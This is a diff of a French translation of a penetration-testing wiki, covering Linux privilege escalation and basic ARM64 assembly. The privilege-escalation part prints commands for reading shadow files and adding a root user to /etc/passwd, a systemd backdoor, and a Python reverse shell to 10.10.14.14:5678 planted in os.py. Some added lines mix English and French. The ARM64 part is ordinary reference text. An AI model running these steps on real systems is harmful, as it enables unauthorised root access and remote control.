hashes** à l'intérieur des fichiers : ```bash #Passwd equivalent files cat /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null #Shadow equivalent files cat /etc/shadow /etc/shadow- /etc/shadow~ /etc/gshadow /etc/gshadow- /etc/master.passwd /etc/spwd.db /etc/security/opasswd 2>/dev/null ``` -Parfois, il est possible de trouver des **password hashes** dans le fichier `/etc/passwd` (ou équivalent). +Parfois, vous pouvez trouver **password hashes** dans le fichier `/etc/passwd` (ou équivalent) ```bash grep -v '^[^:]*:[x\*]' /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null ``` -### /etc/passwd accessible en écriture +### Accessible en écriture /etc/passwd -Tout d'abord, générez un password avec l'une des commandes suivantes. +Tout d'abord, générez un mot de passe avec l'une des commandes suivantes. ``` openssl passwd -1 -salt hacker hacker mkpasswd -m SHA-512 hacker python2 -c 'import crypt; print crypt.crypt("hacker", "$6$salt")' ``` -Je n'ai pas reçu le contenu du fichier src/linux-hardening/privilege-escalation/README.md à traduire. Merci de coller ici le contenu du README.md que vous voulez que je traduise en français. - -Voulez-vous que je génère maintenant un mot de passe sécurisé et que j'injecte dans la traduction une section montrant les commandes à exécuter pour ajouter l'utilisateur hacker et définir ce mot de passe ? (Je ne peux pas exécuter les commandes moi-même — je ne peux que fournir les commandes et le mot de passe généré.) Si oui, précisez la politique de mot de passe souhaitée (longueur, caractère spécial requis, etc.). +Ensuite, ajoutez l'utilisateur `hacker` et définissez le mot de passe généré. ``` hacker:GENERATED_PASSWORD_HERE:0:0:Hacker:/root:/bin/bash ``` -E.g: `hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash` +Ex. : `hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash` Vous pouvez maintenant utiliser la commande `su` avec `hacker:hacker` Alternativement, vous pouvez utiliser les lignes suivantes pour ajouter un utilisateur factice sans mot de passe.\ -ATTENTION : cela pourrait dégrader la sécurité actuelle de la machine. +ATTENTION : vous pourriez dégrader la sécurité actuelle de la machine. ``` echo 'dummy::0:0::/root:/bin/bash' >>/etc/passwd su - dummy ``` -REMARQUE : sur les plateformes BSD, `/etc/passwd` se trouve à `/etc/pwd.db` et `/etc/master.passwd`, de plus `/etc/shadow` est renommé en `/etc/spwd.db`. +REMARQUE : Sur les plateformes BSD, `/etc/passwd` se trouve à `/etc/pwd.db` et `/etc/master.passwd`, et `/etc/shadow` est renommé en `/etc/spwd.db`. -Vous devriez vérifier si vous pouvez **écrire dans certains fichiers sensibles**. Par exemple, pouvez-vous écrire dans un **fichier de configuration de service** ? +Vous devez vérifier si vous pouvez **écrire dans certains fichiers sensibles**. Par exemple, pouvez-vous écrire dans un **fichier de configuration de service** ? ```bash find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' 2>/dev/null | grep -v '/proc/' | grep -v $HOME | sort | uniq #Find files owned by the user or writable by anybody for g in `groups`; do find \( -type f -or -type d \) -group $g -perm -g=w 2>/dev/null | grep -v '/proc/' | grep -v $HOME; done #Find files writable by any group of the user @@ -1241,7 +1239,7 @@ ExecStart=/path/to/backdoor User=root Group=root ``` -Votre backdoor sera exécutée la prochaine fois que tomcat sera démarré. +Your backdoor sera exécutée la prochaine fois que tomcat sera démarré. ### Vérifier les dossiers @@ -1249,7 +1247,7 @@ Les dossiers suivants peuvent contenir des sauvegardes ou des informations inté ```bash ls -a /tmp /var/tmp /var/backups /var/mail/ /var/spool/mail/ /root ``` -### Emplacement étrange / Owned files +### Emplacements étranges/Owned files ```bash #root owned files in /home folders find /home -user root 2>/dev/null @@ -1270,7 +1268,7 @@ done ```bash find / -type f -mmin -5 ! -path "/proc/*" ! -path "/sys/*" ! -path "/run/*" ! -path "/dev/*" ! -path "/var/lib/*" 2>/dev/null ``` -### Fichiers DB Sqlite +### Fichiers de base de données Sqlite ```bash find / -name '*.db' -o -name '*.sqlite' -o -name '*.sqlite3' 2>/dev/null ``` @@ -1282,12 +1280,12 @@ find / -type f \( -name "*_history" -o -name ".sudo_as_admin_successful" -o -nam ```bash find / -type f -iname ".*" -ls 2>/dev/null ``` -### **Scripts/Binaires dans PATH** +### **Script/Binaries dans PATH** ```bash for d in `echo $PATH | tr ":" "\n"`; do find $d -name "*.sh" 2>/dev/null; done for d in `echo $PATH | tr ":" "\n"`; do find $d -type f -executable 2>/dev/null; done ``` -### **Fichiers web** +### **Fichiers Web** ```bash ls -alhR /var/www/ 2>/dev/null ls -alhR /srv/www/htdocs/ 2>/dev/null @@ -1300,20 +1298,20 @@ find /var /etc /bin /sbin /home /usr/local/bin /usr/local/sbin /usr/bin /usr/gam ``` ### Fichiers connus contenant des mots de passe -Lisez le code de [**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS), il recherche **plusieurs fichiers susceptibles de contenir des mots de passe**.\ -**Un autre outil intéressant** que vous pouvez utiliser pour cela est : [**LaZagne**](https://github.com/AlessandroZ/LaZagne) qui est une application open source utilisée pour récupérer de nombreux mots de passe stockés sur un ordinateur local pour Windows, Linux & Mac. +Lire le code de [**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS), il recherche **plusieurs fichiers susceptibles de contenir des mots de passe**.\ +**Un autre outil intéressant** que vous pouvez utiliser à cet effet est : [**LaZagne**](https://github.com/AlessandroZ/LaZagne) qui est une application open source utilisée pour récupérer de nombreux mots de passe stockés sur un ordinateur local pour Windows, Linux & Mac. -### Journaux +### Logs -Si vous pouvez lire les journaux, vous pourrez peut-être y trouver des **informations intéressantes/confidentielles**. Plus le journal est étrange, plus il sera intéressant (probablement).\ -De plus, certains **mal configurés** (backdoored?) **journaux d'audit** peuvent vous permettre d'**enregistrer des mots de passe** dans les journaux d'audit comme expliqué dans cet article : [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/). +Si vous pouvez lire les logs, vous pourrez peut-être trouver des informations **intéressantes/confidentielles** à l'intérieur. Plus un log est étrange, plus il sera intéressant (probablement).\ +Aussi, certains **audit logs** **mal configurés** (backdoored?) peuvent vous permettre d'**enregistrer des mots de passe** dans les audit logs comme expliqué dans ce post : [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/). ```bash aureport --tty | grep -E "su |sudo " | sed -E "s,su|sudo,${C}[1;31m&${C}[0m,g" grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null ``` -Pour pouvoir lire les logs, le groupe [**adm**](interesting-groups-linux-pe/index.html#adm-group) sera très utile. +Pour **lire les logs, le groupe** [**adm**](interesting-groups-linux-pe/index.html#adm-group) sera très utile. -### Fichiers shell +### Fichiers Shell ```bash ~/.bash_profile # if it exists, read it once when you log in to the shell ~/.bash_login # if it exists, read it once if .bash_profile doesn't exist @@ -1324,24 +1322,24 @@ Pour pouvoir lire les logs, le groupe [**adm**](interesting-groups-linux-pe/inde ~/.zlogin #zsh shell ~/.zshrc #zsh shell ``` -### Recherche générique de Creds/Regex +### Generic Creds Search/Regex -Vous devriez aussi vérifier les fichiers contenant le mot "**password**" dans leur **nom** ou à l'intérieur du **contenu**, et aussi vérifier les IPs et emails à l'intérieur des logs, ou des regexps de hashes.\ -Je ne vais pas détailler ici comment faire tout cela mais si vous êtes intéressé vous pouvez consulter les derniers checks que [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh) effectue. +Vous devriez aussi vérifier les fichiers contenant le mot "**password**" dans leur **nom** ou dans leur **contenu**, et aussi vérifier les IPs et emails dans les logs, ou les regexps de hashes.\ +Je ne vais pas détailler ici comment faire tout cela mais si cela vous intéresse vous pouvez consulter les dernières vérifications que [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh) effectue. ## Fichiers inscriptibles ### Python library hijacking -Si vous savez depuis **où** un script python va être exécuté et que vous **pouvez écrire dans** ce dossier ou que vous pouvez **modifier python libraries**, vous pouvez modifier l'OS library et y installer une backdoor (si vous pouvez écrire là où le script python sera exécuté, copiez-collez la librairie os.py). +Si vous savez depuis **où** un python script va être exécuté et que vous **pouvez écrire dans** ce dossier ou que vous pouvez **modifier python libraries**, vous pouvez modifier la OS library et y ajouter une backdoor (si vous pouvez écrire à l'endroit où le python script va être exécuté, copiez la librairie os.py). -Pour **backdoor the library** il suffit d'ajouter à la fin de la librairie os.py la ligne suivante (changez IP et PORT): +To **backdoor the library** just add at the end of the os.py library the following line (change IP and PORT): ```python import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.14",5678));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]); ``` -### Logrotate exploitation +### Exploitation de logrotate -Une vulnérabilité dans `logrotate` permet à des utilisateurs ayant des **droits d'écriture** sur un fichier de log ou ses répertoires parents de potentiellement obtenir une élévation de privilèges. En effet, `logrotate`, souvent exécuté en tant que **root**, peut être manipulé pour exécuter des fichiers arbitraires, notamment dans des répertoires comme _**/etc/bash_completion.d/**_. Il est important de vérifier les permissions non seulement dans _/var/log_ mais aussi dans tout répertoire où la rotation des logs est appliquée. +Une vulnérabilité dans `logrotate` permet aux utilisateurs ayant des **permissions d'écriture** sur un fichier de log ou ses répertoires parents de potentiellement obtenir des privilèges escaladés. En effet, `logrotate`, souvent exécuté en tant que **root**, peut être manipulé pour exécuter des fichiers arbitraires, notamment dans des répertoires comme _**/etc/bash_completion.d/**_. Il est important de vérifier les permissions non seulement dans _/var/log_ mais aussi dans tout répertoire où la rotation des logs est appliquée. > [!TIP] > Cette vulnérabilité affecte `logrotate` version `3.18.0` et antérieures @@ -1350,17 +1348,17 @@ Des informations plus détaillées sur la vulnérabilité se trouvent sur cette Vous pouvez exploiter cette vulnérabilité avec [**logrotten**](https://github.com/whotwagner/logrotten). -Cette vulnérabilité est très similaire à [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(logs nginx),** donc chaque fois que vous constatez que vous pouvez modifier des logs, vérifiez qui gère ces logs et si vous pouvez escalader les privilèges en remplaçant les logs par des symlinks. +Cette vulnérabilité est très similaire à [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginx logs),** donc chaque fois que vous constatez que vous pouvez altérer des logs, vérifiez qui gère ces logs et si vous pouvez escalader les privilèges en substituant les logs par des symlinks. ### /etc/sysconfig/network-scripts/ (Centos/Redhat) -**Vulnerability reference:** [**https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f**](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f) +**Référence de la vulnérabilité :** [**https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f**](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f) -Si, pour une raison quelconque, un utilisateur peut **écrire** un script `ifcf-` dans _/etc/sysconfig/network-scripts_ **ou** peut **modifier** un script existant, alors votre **système est pwned**. +S'il, pour une raison quelconque, un utilisateur est capable d'**écrire** un script `ifcf-` dans _/etc/sysconfig/network-scripts_ **ou** d'**ajuster** un script existant, alors votre système est **pwned**. -Les scripts réseau, _ifcg-eth0_ par exemple, sont utilisés pour les connexions réseau. Ils ressemblent exactement à des fichiers .INI. Cependant, ils sont \~sourced\~ sur Linux par Network Manager (dispatcher.d). +Les scripts réseau, _ifcg-eth0_ par exemple, sont utilisés pour les connexions réseau. Ils ressemblent exactement à des fichiers .INI. Cependant, ils sont ~sourced~ sur Linux par Network Manager (dispatcher.d). -Dans mon cas, l'attribut `NAME=` dans ces scripts réseau n'est pas géré correctement. Si vous avez des **espaces blancs/dans le nom le système tente d'exécuter la partie après l'espace blanc**. Cela signifie que **tout ce qui suit le premier espace est exécuté en tant que root**. +Dans mon cas, l'attribut `NAME=` dans ces scripts réseau n'est pas traité correctement. Si vous avez un **espace blanc dans le nom, le système tente d'exécuter la partie après l'espace blanc**. Cela signifie que **tout ce qui suit le premier espace est exécuté en tant que root**. Par exemple : _/etc/sysconfig/network-scripts/ifcfg-1337_ ```bash @@ -1372,13 +1370,13 @@ DEVICE=eth0 ### **init, init.d, systemd et rc.d** -Le répertoire `/etc/init.d` contient des **scripts** pour System V init (SysVinit), le **système classique de gestion des services Linux**. Il inclut des scripts pour `start`, `stop`, `restart`, et parfois `reload` des services. Ceux-ci peuvent être exécutés directement ou via des liens symboliques trouvés dans `/etc/rc?.d/`. Un chemin alternatif dans les systèmes Redhat est `/etc/rc.d/init.d`. +Le répertoire `/etc/init.d` contient des **scripts** pour System V init (SysVinit), le **système classique de gestion des services Linux**. Il inclut des scripts pour `start`, `stop`, `restart`, et parfois `reload` des services. Ceux-ci peuvent être exécutés directement ou via des liens symboliques présents dans `/etc/rc?.d/`. Un chemin alternatif sur les systèmes Redhat est `/etc/rc.d/init.d`. -D'autre part, `/etc/init` est associé à **Upstart**, un **gestionnaire de services** plus récent introduit par Ubuntu, utilisant des fichiers de configuration pour les tâches de gestion des services. Malgré la transition vers Upstart, les scripts SysVinit sont encore utilisés parallèlement aux configurations Upstart en raison d'une couche de compatibilité dans Upstart. +En revanche, `/etc/init` est associé à **Upstart**, un gestionnaire de services plus récent introduit par Ubuntu, utilisant des fichiers de configuration pour les tâches de gestion des services. Malgré la transition vers Upstart, les scripts SysVinit sont encore utilisés aux côtés des configurations Upstart en raison d'une couche de compatibilité dans Upstart. -**systemd** apparaît comme un gestionnaire d'initialisation et de services moderne, offrant des fonctionnalités avancées telles que le démarrage à la demande des daemons, la gestion des automounts et les instantanés d'état système. Il organise les fichiers dans `/usr/lib/systemd/` pour les paquets de distribution et `/etc/systemd/system/` pour les modifications administrateur, simplifiant le travail d'administration système. +**systemd** apparaît comme un gestionnaire moderne d'initialisation et de services, offrant des fonctionnalités avancées telles que le démarrage à la demande des daemons, la gestion des automounts et les snapshots d'état du système. Il organise les fichiers dans `/usr/lib/systemd/` pour les paquets de distribution et `/etc/systemd/system/` pour les modifications effectuées par l'administrateur, simplifiant le processus d'administration du système. -## Other Tricks +## Autres astuces ### NFS Privilege escalation @@ -1387,7 +1385,7 @@ D'autre part, `/etc/init` est associé à **Upstart**, un **gestionnaire de serv nfs-no_root_squash-misconfiguration-pe.md {{#endref}} -### Escaping from restricted Shells +### Évasion des Shells restreints {{#ref}} @@ -1403,8 +1401,7 @@ cisco-vmanage.md ## Android rooting frameworks: manager-channel abuse -Les frameworks de rooting Android interceptent souvent un syscall pour exposer des fonctionnalités noyau privilégiées à un gestionnaire en userspace. Une authentification faible du gestionnaire (par ex., des vérifications de signature basées sur l'ordre des FD ou des schémas de mot de passe faibles) peut permettre à une application locale d'usurper le gestionnaire et d'escalader au root sur des appareils déjà rootés. En savoir plus et détails d'exploitation ici : - +Les Android rooting frameworks attachent souvent un hook à un syscall afin d'exposer des fonctionnalités privilégiées du kernel à un manager en userspace. Une authentification faible du manager (p. ex. des vérifications de signature basées sur l'ordre des FD ou des schémas de mot de passe faibles) peut permettre à une application locale d'usurper le manager et d'escalader en root sur des appareils déjà rootés. Pour en savoir plus et obtenir les détails d'exploitation : {{#ref}} android-rooting-frameworks-manager-auth-bypass-syscall-hook.md @@ -1421,7 +1418,7 @@ android-rooting-frameworks-manager-auth-bypass-syscall-hook.md ## Linux/Unix Privesc Tools -### **Meilleur outil pour rechercher des vecteurs de local privilege escalation sur Linux :** [**LinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS) +### **Meilleur outil pour trouver des vecteurs locaux de privilege escalation sous Linux :** [**LinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS) **LinEnum**: [https://github.com/rebootuser/LinEnum](https://github.com/rebootuser/LinEnum)(-t option)\ **Enumy**: [https://github.com/luke-goddard/enumy](https://github.com/luke-goddard/enumy)\ diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md index f8d269fbd..090d0da25 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md @@ -2,256 +2,259 @@ {{#include ../../../banners/hacktricks-training.md}} -## **Niveaux d'exception - EL (ARM64v8)** +## **Niveaux d'Exception - EL (ARM64v8)** -Dans l'architecture ARMv8, les niveaux d'exécution, connus sous le nom de Niveaux d'Exception (EL), définissent le niveau de privilège et les capacités de l'environnement d'exécution. Il existe quatre niveaux d'exception, allant de EL0 à EL3, chacun ayant un but différent : +Dans l'architecture ARMv8, les niveaux d'exécution, appelés Exception Levels (ELs), définissent le niveau de privilège et les capacités de l'environnement d'exécution. Il existe quatre niveaux d'exception, allant de EL0 à EL3, chacun ayant un rôle différent : -1. **EL0 - Mode Utilisateur** : -- C'est le niveau le moins privilégié et est utilisé pour exécuter du code d'application ordinaire. -- Les applications s'exécutant à EL0 sont isolées les unes des autres et du logiciel système, améliorant ainsi la sécurité et la stabilité. -2. **EL1 - Mode Noyau du Système d'Exploitation** : +1. **EL0 - Mode utilisateur**: +- C'est le niveau le moins privilégié et il est utilisé pour exécuter le code d'application ordinaire. +- Les applications s'exécutant en EL0 sont isolées les unes des autres et du logiciel système, ce qui améliore la sécurité et la stabilité. +2. **EL1 - Mode noyau du système d'exploitation**: - La plupart des noyaux de systèmes d'exploitation s'exécutent à ce niveau. -- EL1 a plus de privilèges que EL0 et peut accéder aux ressources système, mais avec certaines restrictions pour garantir l'intégrité du système. -3. **EL2 - Mode Hyperviseur** : -- Ce niveau est utilisé pour la virtualisation. Un hyperviseur s'exécutant à EL2 peut gérer plusieurs systèmes d'exploitation (chacun dans son propre EL1) s'exécutant sur le même matériel physique. -- EL2 fournit des fonctionnalités pour l'isolation et le contrôle des environnements virtualisés. -4. **EL3 - Mode Moniteur Sécurisé** : -- C'est le niveau le plus privilégié et est souvent utilisé pour le démarrage sécurisé et les environnements d'exécution de confiance. -- EL3 peut gérer et contrôler les accès entre les états sécurisés et non sécurisés (comme le démarrage sécurisé, le système d'exploitation de confiance, etc.). +- EL1 dispose de plus de privilèges qu'EL0 et peut accéder aux ressources système, mais avec certaines restrictions pour garantir l'intégrité du système. +3. **EL2 - Mode hyperviseur**: +- Ce niveau est utilisé pour la virtualisation. Un hyperviseur s'exécutant en EL2 peut gérer plusieurs systèmes d'exploitation (chacun en EL1) fonctionnant sur le même matériel physique. +- EL2 fournit des fonctionnalités d'isolation et de contrôle des environnements virtualisés. +4. **EL3 - Mode Secure Monitor**: +- C'est le niveau le plus privilégié et il est souvent utilisé pour le démarrage sécurisé et les environnements d'exécution de confiance. +- EL3 peut gérer et contrôler les accès entre les états secure et non-secure (comme secure boot, trusted OS, etc.). -L'utilisation de ces niveaux permet une gestion structurée et sécurisée des différents aspects du système, des applications utilisateur au logiciel système le plus privilégié. L'approche d'ARMv8 en matière de niveaux de privilège aide à isoler efficacement les différents composants du système, renforçant ainsi la sécurité et la robustesse du système. +L'utilisation de ces niveaux permet de gérer de manière structurée et sécurisée les différents aspects du système, des applications utilisateur aux logiciels système les plus privilégiés. L'approche d'ARMv8 pour les niveaux de privilège aide à isoler efficacement les composants du système, augmentant ainsi la sécurité et la robustesse du système. ## **Registres (ARM64v8)** -ARM64 dispose de **31 registres à usage général**, étiquetés `x0` à `x30`. Chacun peut stocker une valeur **64 bits** (8 octets). Pour les opérations nécessitant uniquement des valeurs de 32 bits, les mêmes registres peuvent être accessibles en mode 32 bits en utilisant les noms w0 à w30. +ARM64 possède **31 registres généraux**, étiquetés `x0` à `x30`. Chacun peut stocker une valeur **64 bits** (8 octets). Pour les opérations nécessitant uniquement des valeurs 32 bits, les mêmes registres peuvent être accédés en mode 32 bits en utilisant les noms `w0` à `w30`. -1. **`x0`** à **`x7`** - Ceux-ci sont généralement utilisés comme registres temporaires et pour passer des paramètres aux sous-routines. -- **`x0`** transporte également les données de retour d'une fonction. -2. **`x8`** - Dans le noyau Linux, `x8` est utilisé comme numéro d'appel système pour l'instruction `svc`. **Dans macOS, c'est x16 qui est utilisé !** -3. **`x9`** à **`x15`** - Plus de registres temporaires, souvent utilisés pour des variables locales. -4. **`x16`** et **`x17`** - **Registres d'Appel Intra-procédural**. Registres temporaires pour des valeurs immédiates. Ils sont également utilisés pour des appels de fonction indirects et des stubs de PLT (Table de Liaison de Procédure). +1. **`x0`** à **`x7`** - Ils sont généralement utilisés comme registres temporaires et pour passer des paramètres aux sous-routines. +- **`x0`** contient aussi les données de retour d'une fonction. +2. **`x8`** - Dans le noyau Linux, `x8` est utilisé comme numéro d'appel système pour l'instruction `svc`. **Sur macOS c'est x16 qui est utilisé !** +3. **`x9`** à **`x15`** - Registres temporaires supplémentaires, souvent utilisés pour les variables locales. +4. **`x16`** et **`x17`** - **Registres d'appel intra-procédural**. Registres temporaires pour des valeurs immédiates. Ils sont aussi utilisés pour les appels de fonctions indirects et les stubs PLT (Procedure Linkage Table). - **`x16`** est utilisé comme **numéro d'appel système** pour l'instruction **`svc`** dans **macOS**. -5. **`x18`** - **Registre de Plateforme**. Il peut être utilisé comme un registre à usage général, mais sur certaines plateformes, ce registre est réservé à des usages spécifiques à la plateforme : Pointeur vers le bloc d'environnement de thread local dans Windows, ou pour pointer vers la structure de tâche actuellement **exécutée dans le noyau linux**. -6. **`x19`** à **`x28`** - Ce sont des registres sauvegardés par le callee. Une fonction doit préserver les valeurs de ces registres pour son appelant, donc elles sont stockées dans la pile et récupérées avant de revenir à l'appelant. -7. **`x29`** - **Pointeur de cadre** pour suivre le cadre de la pile. Lorsqu'un nouveau cadre de pile est créé parce qu'une fonction est appelée, le registre **`x29`** est **stocké dans la pile** et l'adresse du **nouveau** pointeur de cadre (adresse **`sp`**) est **stockée dans ce registre**. -- Ce registre peut également être utilisé comme un **registre à usage général** bien qu'il soit généralement utilisé comme référence aux **variables locales**. -8. **`x30`** ou **`lr`** - **Registre de Lien**. Il contient l'**adresse de retour** lorsqu'une instruction `BL` (Branch with Link) ou `BLR` (Branch with Link to Register) est exécutée en stockant la valeur **`pc`** dans ce registre. +5. **`x18`** - **Registre plateforme**. Il peut être utilisé comme registre général, mais sur certaines plateformes, ce registre est réservé à des usages spécifiques à la plateforme : pointeur vers le thread environment block courant sous Windows, ou pour pointer vers la structure de tâche en cours d'exécution dans le noyau linux. +6. **`x19`** à **`x28`** - Ce sont des registres préservés par le callee. Une fonction doit préserver les valeurs de ces registres pour son caller, ils sont donc stockés sur la pile et récupérés avant de revenir à l'appelant. +7. **`x29`** - **Frame pointer** pour suivre la trame de pile. Lorsqu'une nouvelle trame de pile est créée parce qu'une fonction est appelée, le registre **`x29`** est **stocké dans la pile** et la **nouvelle** adresse de frame pointer (l'adresse de **`sp`**) est **stockée dans ce registre**. +- Ce registre peut aussi être utilisé comme **registre général** bien qu'il soit habituellement utilisé comme référence pour les **variables locales**. +8. **`x30`** ou **`lr`** - **Link register**. Il contient l'**adresse de retour** lorsqu'une instruction `BL` (Branch with Link) ou `BLR` (Branch with Link to Register) est exécutée en stockant la valeur du **`pc`** dans ce registre. - Il peut également être utilisé comme n'importe quel autre registre. -- Si la fonction actuelle va appeler une nouvelle fonction et donc écraser `lr`, elle le stockera dans la pile au début, c'est l'épilogue (`stp x29, x30 , [sp, #-48]; mov x29, sp` -> Stocker `fp` et `lr`, générer de l'espace et obtenir un nouveau `fp`) et le récupérera à la fin, c'est le prologue (`ldp x29, x30, [sp], #48; ret` -> Récupérer `fp` et `lr` et retourner). -9. **`sp`** - **Pointeur de pile**, utilisé pour suivre le sommet de la pile. -- La valeur **`sp`** doit toujours être maintenue à au moins un **alignement de quadword** ou une exception d'alignement peut se produire. -10. **`pc`** - **Compteur de programme**, qui pointe vers l'instruction suivante. Ce registre ne peut être mis à jour que par des générations d'exception, des retours d'exception et des branches. Les seules instructions ordinaires qui peuvent lire ce registre sont les instructions de branchement avec lien (BL, BLR) pour stocker l'adresse **`pc`** dans **`lr`** (Registre de Lien). -11. **`xzr`** - **Registre Zéro**. Également appelé **`wzr`** dans sa forme de registre **32** bits. Peut être utilisé pour obtenir facilement la valeur zéro (opération courante) ou pour effectuer des comparaisons en utilisant **`subs`** comme **`subs XZR, Xn, #10`** en stockant les données résultantes nulle part (dans **`xzr`**). +- Si la fonction courante va appeler une nouvelle fonction et écraser ainsi `lr`, elle le stockera dans la pile au début ; c'est l'épilogue (`stp x29, x30 , [sp, #-48]; mov x29, sp` -> Stocker `fp` et `lr`, générer de l'espace et obtenir un nouveau `fp`) et le restaurera à la fin ; c'est le prologue (`ldp x29, x30, [sp], #48; ret` -> Restaurer `fp` et `lr` et retourner). +9. **`sp`** - **Stack pointer**, utilisé pour suivre le sommet de la pile. +- la valeur de **`sp`** doit toujours être alignée au moins sur un **quadword** sinon une exception d'alignement peut survenir. +10. **`pc`** - **Program counter**, qui pointe vers l'instruction suivante. Ce registre ne peut être mis à jour que par la génération d'exceptions, les retours d'exception et les branches. Les seules instructions ordinaires pouvant lire ce registre sont les instructions branch with link (BL, BLR) qui stockent l'adresse du **`pc`** dans **`lr`** (Link Register). +11. **`xzr`** - **Registre zéro**. Aussi appelé **`wzr`** dans sa forme registre **32**-bit. Peut être utilisé pour obtenir facilement la valeur zéro (opération courante) ou pour effectuer des comparaisons en utilisant **`subs`** comme **`subs XZR, Xn, #10`** ne stockant le résultat nulle part (dans **`xzr`**). -Les registres **`Wn`** sont la version **32 bits** des registres **`Xn`**. +Les registres **`Wn`** sont la version **32bit** du registre **`Xn`**. -### Registres SIMD et à Virgule Flottante +> [!TIP] +> Les registres de X0 à X18 sont volatiles, ce qui signifie que leurs valeurs peuvent être modifiées par des appels de fonctions et des interruptions. Cependant, les registres de X19 à X28 sont non-volatiles, ce qui signifie que leurs valeurs doivent être préservées à travers les appels de fonctions ("callee saved"). -De plus, il existe **32 autres registres de 128 bits** qui peuvent être utilisés dans des opérations de données multiples à instruction unique (SIMD) optimisées et pour effectuer des calculs à virgule flottante. Ceux-ci sont appelés les registres Vn bien qu'ils puissent également fonctionner en **64** bits, **32** bits, **16** bits et **8** bits et sont alors appelés **`Qn`**, **`Dn`**, **`Sn`**, **`Hn`** et **`Bn`**. +### Registres SIMD et Floating-Point + +De plus, il existe 32 autres registres de **128 bits** qui peuvent être utilisés pour des opérations SIMD optimisées (single instruction multiple data) et pour effectuer des calculs en virgule flottante. Ils sont appelés registres Vn bien qu'ils puissent aussi fonctionner en **64**-bit, **32**-bit, **16**-bit et **8**-bit et alors être appelés **`Qn`**, **`Dn`**, **`Sn`**, **`Hn`** et **`Bn`**. ### Registres Système -**Il existe des centaines de registres système**, également appelés registres à usage spécial (SPRs), utilisés pour **surveiller** et **contrôler** le comportement des **processeurs**.\ -Ils ne peuvent être lus ou définis qu'à l'aide des instructions spéciales dédiées **`mrs`** et **`msr`**. +Il existe des centaines de registres système, appelés aussi special-purpose registers (SPRs), utilisés pour la **surveillance** et le **contrôle** du comportement des **processeurs**.\ +Ils ne peuvent être lus ou écrits qu'en utilisant les instructions dédiées **`mrs`** et **`msr`**. -Les registres spéciaux **`TPIDR_EL0`** et **`TPIDDR_EL0`** se trouvent couramment lors de l'ingénierie inverse. Le suffixe `EL0` indique la **moindre exception** à partir de laquelle le registre peut être accessible (dans ce cas, EL0 est le niveau d'exception (privilège) régulier avec lequel les programmes normaux s'exécutent).\ -Ils sont souvent utilisés pour stocker l'**adresse de base de la région de stockage local au thread** en mémoire. En général, le premier est lisible et inscriptible pour les programmes s'exécutant en EL0, mais le second peut être lu depuis EL0 et écrit depuis EL1 (comme le noyau). +Les registres spéciaux **`TPIDR_EL0`** et **`TPIDDR_EL0`** sont couramment rencontrés lors de reversing engineering. Le suffixe `EL0` indique l'exception minimale depuis laquelle le registre peut être accédé (dans ce cas EL0 est le niveau d'exception régulier avec lequel les programmes ordinaires s'exécutent).\ +Ils sont souvent utilisés pour stocker l'**adresse de base du thread-local storage** dans la mémoire. Habituellement, le premier est lisible et inscriptible par les programmes s'exécutant en EL0, mais le second peut être lu depuis EL0 et écrit depuis EL1 (comme le noyau). -- `mrs x0, TPIDR_EL0 ; Lire TPIDR_EL0 dans x0` -- `msr TPIDR_EL0, X0 ; Écrire x0 dans TPIDR_EL0` +- `mrs x0, TPIDR_EL0 ; Read TPIDR_EL0 into x0` +- `msr TPIDR_EL0, X0 ; Write x0 into TPIDR_EL0` ### **PSTATE** -**PSTATE** contient plusieurs composants de processus sérialisés dans le registre spécial visible par le système d'exploitation **`SPSR_ELx`**, étant X le **niveau de permission** **de l'exception déclenchée** (cela permet de récupérer l'état du processus lorsque l'exception se termine).\ +**PSTATE** contient plusieurs composantes du processus sérialisées dans le registre spécial visible par le système d'exploitation **`SPSR_ELx`**, X étant le **niveau de permission de l'exception déclenchée** (cela permet de récupérer l'état du processus lorsque l'exception se termine).\ Voici les champs accessibles :
